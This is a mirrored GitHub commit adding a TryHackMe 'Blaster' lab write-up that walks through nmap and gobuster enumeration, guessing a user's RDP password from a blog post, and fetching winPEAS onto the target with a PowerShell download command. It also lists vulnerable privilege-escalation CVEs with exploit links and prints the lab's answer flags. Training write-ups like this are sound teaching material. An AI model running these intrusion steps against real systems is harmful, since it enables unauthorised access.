mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-10 06:34:17 +00:00
Add files via upload
This commit is contained in:
AbdullahRizwan101
GitHub
parent
ef4ba1c5ed
commit
b3718cdadb
1 changed files with 211 additions and 0 deletions
211
TryHackMe/Blaster.md
Normal file
211
TryHackMe/Blaster.md
Normal file
|
|
@ -0,0 +1,211 @@
|
||||||
|
# TryHackMe-Blaster CTF
|
||||||
|
|
||||||
|
>Abdullah Rizwan | 17th September , 06:19 PM
|
||||||
|
|
||||||
|
|
||||||
|
## NMAP
|
||||||
|
|
||||||
|
```
|
||||||
|
export IP=10.10.74.61
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Now we want to scan all ports that are open on the box so for this we are going to use `-p-` ports `-A` aggressive scan to look for all ports `-T4` is the speed of the result and `$IP` is IP variable.
|
||||||
|
|
||||||
|
```
|
||||||
|
nmap -p- -A -T4 $IP
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
Host is up (0.22s latency).
|
||||||
|
Not shown: 65520 closed ports
|
||||||
|
PORT STATE SERVICE VERSION
|
||||||
|
80/tcp open http Microsoft IIS httpd 10.0
|
||||||
|
| http-methods:
|
||||||
|
|_ Potentially risky methods: TRACE
|
||||||
|
|_http-server-header: Microsoft-IIS/10.0
|
||||||
|
|_http-title: IIS Windows Server
|
||||||
|
135/tcp open msrpc Microsoft Windows RPC
|
||||||
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||||
|
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
|
||||||
|
3306/tcp open mysql MySQL (unauthorized)
|
||||||
|
3389/tcp open ms-wbt-server Microsoft Terminal Services
|
||||||
|
| rdp-ntlm-info:
|
||||||
|
| Target_Name: RETROWEB
|
||||||
|
| NetBIOS_Domain_Name: RETROWEB
|
||||||
|
| NetBIOS_Computer_Name: RETROWEB
|
||||||
|
| DNS_Domain_Name: RetroWeb
|
||||||
|
| DNS_Computer_Name: RetroWeb
|
||||||
|
| Product_Version: 10.0.14393
|
||||||
|
|_ System_Time: 2020-09-17T13:37:30+00:00
|
||||||
|
| ssl-cert: Subject: commonName=RetroWeb
|
||||||
|
| Not valid before: 2020-05-21T21:44:38
|
||||||
|
|_Not valid after: 2020-11-20T21:44:38
|
||||||
|
|_ssl-date: 2020-09-17T13:37:36+00:00; -1s from scanner time.
|
||||||
|
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|
||||||
|
|_http-server-header: Microsoft-HTTPAPI/2.0
|
||||||
|
|_http-title: Not Found
|
||||||
|
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|
||||||
|
|_http-server-header: Microsoft-HTTPAPI/2.0
|
||||||
|
|_http-title: Not Found
|
||||||
|
49664/tcp open msrpc Microsoft Windows RPC
|
||||||
|
49665/tcp open msrpc Microsoft Windows RPC
|
||||||
|
49666/tcp open msrpc Microsoft Windows RPC
|
||||||
|
49667/tcp open msrpc Microsoft Windows RPC
|
||||||
|
49669/tcp open msrpc Microsoft Windows RPC
|
||||||
|
49670/tcp open msrpc Microsoft Windows RPC
|
||||||
|
49678/tcp open msrpc Microsoft Windows RPC
|
||||||
|
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
|
||||||
|
TCP/IP fingerprint:
|
||||||
|
OS:SCAN(V=7.80%E=4%D=9/17%OT=80%CT=1%CU=33259%PV=Y%DS=2%DC=T%G=Y%TM=5F6366A
|
||||||
|
OS:A)OPS(O1=M508NW8ST11%O2=M508NW8ST11%O3=M508NW8NNT11%O4=M508NW8ST11%O5=M5
|
||||||
|
OS:08NW8ST11%O6=M508ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=200
|
||||||
|
OS:0)ECN(R=Y%DF=Y%T=80%W=2000%O=M508NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S
|
||||||
|
OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%
|
||||||
|
OS:T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=
|
||||||
|
OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%
|
||||||
|
OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
|
||||||
|
OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
|
||||||
|
OS:N%T=80%CD=Z)
|
||||||
|
|
||||||
|
Network Distance: 2 hops
|
||||||
|
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
|
||||||
|
|
||||||
|
Host script results:
|
||||||
|
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|
||||||
|
| smb-security-mode:
|
||||||
|
| authentication_level: user
|
||||||
|
| challenge_response: supported
|
||||||
|
|_ message_signing: disabled (dangerous, but default)
|
||||||
|
| smb2-security-mode:
|
||||||
|
| 2.02:
|
||||||
|
|_ Message signing enabled but not required
|
||||||
|
| smb2-time:
|
||||||
|
| date: 2020-09-17T13:37:29
|
||||||
|
|_ start_date: 2020-09-17T13:23:20
|
||||||
|
|
||||||
|
TRACEROUTE (using port 143/tcp)
|
||||||
|
HOP RTT ADDRESS
|
||||||
|
1 175.30 ms 10.8.0.1
|
||||||
|
2 228.68 ms 10.10.74.61
|
||||||
|
|
||||||
|
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||||
|
Nmap done: 1 IP address (1 host up) scanned in 786.80 seconds
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Web server is on http://10.10.74.61:80/
|
||||||
|
|
||||||
|
## Gobuster
|
||||||
|
|
||||||
|
```
|
||||||
|
gobuster dir -u 10.10.74.61 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
|
||||||
|
===============================================================
|
||||||
|
Gobuster v3.0.1
|
||||||
|
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
|
||||||
|
===============================================================
|
||||||
|
[+] Url: http://10.10.74.61
|
||||||
|
[+] Threads: 10
|
||||||
|
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
|
||||||
|
[+] Status codes: 200,204,301,302,307,401,403
|
||||||
|
[+] User Agent: gobuster/3.0.1
|
||||||
|
[+] Timeout: 10s
|
||||||
|
===============================================================
|
||||||
|
2020/09/17 09:45:48 Starting gobuster
|
||||||
|
===============================================================
|
||||||
|
/retro (Status: 301)
|
||||||
|
Progress: 7068 / 220561 (3.20%)
|
||||||
|
[!] Keyboard interrupt detected, terminating.
|
||||||
|
===============================================================
|
||||||
|
2020/09/17 09:50:04 Finished
|
||||||
|
|
||||||
|
```
|
||||||
|
By visiting the directory `/retro` we will find a username `Wade`.
|
||||||
|
|
||||||
|
|
||||||
|
By going through the page we will see a post
|
||||||
|
|
||||||
|
```
|
||||||
|
Ready Player One
|
||||||
|
|
||||||
|
by Wade
|
||||||
|
|
||||||
|
I can’t believe the movie based on my favorite book of all time is going to come out in a few days! Maybe it’s because my name is so similar to the main character, but I honestly feel a deep connection to the main character Wade. I keep mistyping the name of his avatar whenever I log in but I think I’ll eventually get it down. Either way, I’m really excited to see this movie!
|
||||||
|
|
||||||
|
```
|
||||||
|
Now by googling the name of the avatar we will find `Parzival` which is the passworrd for `Wade`.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
## Remmina (RDP)
|
||||||
|
|
||||||
|
Remmina is RDP client for linux
|
||||||
|
|
||||||
|
Simply launch the application and in the username insert `wade` in password `parzival` and you will be logged into windows machine.
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
THM{HACK_PLAYER_ONE}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Now that we have access to the machine we can run `winPEAS` on it to do that we first need to host it on our local machine
|
||||||
|
|
||||||
|
```
|
||||||
|
python -m SimpleHTTPServer
|
||||||
|
Serving HTTP on 0.0.0.0 port 8000 ...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Then open powershell on target machine since `curl` isn't available.
|
||||||
|
|
||||||
|
```
|
||||||
|
Invoke-WebRequest http://10.8.94.60:8000/winPEAS.exe -O winPEAS.exe
|
||||||
|
```
|
||||||
|
And run the file.
|
||||||
|
|
||||||
|
```
|
||||||
|
[!] CVE-2019-0836 : VULNERABLE
|
||||||
|
[>] https://exploit-db.com/exploits/46718
|
||||||
|
[>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/
|
||||||
|
|
||||||
|
[!] CVE-2019-0841 : VULNERABLE
|
||||||
|
[>] https://github.com/rogue-kdc/CVE-2019-0841
|
||||||
|
[>] https://rastamouse.me/tags/cve-2019-0841/
|
||||||
|
|
||||||
|
[!] CVE-2019-1064 : VULNERABLE
|
||||||
|
[>] https://www.rythmstick.net/posts/cve-2019-1064/
|
||||||
|
|
||||||
|
[!] CVE-2019-1130 : VULNERABLE
|
||||||
|
[>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
|
||||||
|
|
||||||
|
[!] CVE-2019-1253 : VULNERABLE
|
||||||
|
[>] https://github.com/padovah4ck/CVE-2019-1253
|
||||||
|
|
||||||
|
[!] CVE-2019-1315 : VULNERABLE
|
||||||
|
[>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html
|
||||||
|
|
||||||
|
[!] CVE-2019-1385 : VULNERABLE
|
||||||
|
[>] https://www.youtube.com/watch?v=K6gHnr-VkAg
|
||||||
|
|
||||||
|
[!] CVE-2019-1388 : VULNERABLE
|
||||||
|
[>] https://github.com/jas502n/CVE-2019-1388
|
||||||
|
|
||||||
|
[!] CVE-2019-1405 : VULNERABLE
|
||||||
|
[>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
|
||||||
|
|
||||||
|
```
|
||||||
|
You will see theses CVE's which are vulnerable to this machine for me internet explorer wasn't showing history so this method also works.
|
||||||
|
|
||||||
|
|
||||||
|
## Previlege Esacalation
|
||||||
|
|
||||||
|
This is the video which helps to escalate our privileges.
|
||||||
|
|
||||||
|
https://www.youtube.com/watch?v=3BQKpPNlTSo
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
THM{COIN_OPERATED_EXPLOITATION}
|
||||||
|
```
|
||||||
|
This is the root flag.
|
||||||
Loading…
Reference in a new issue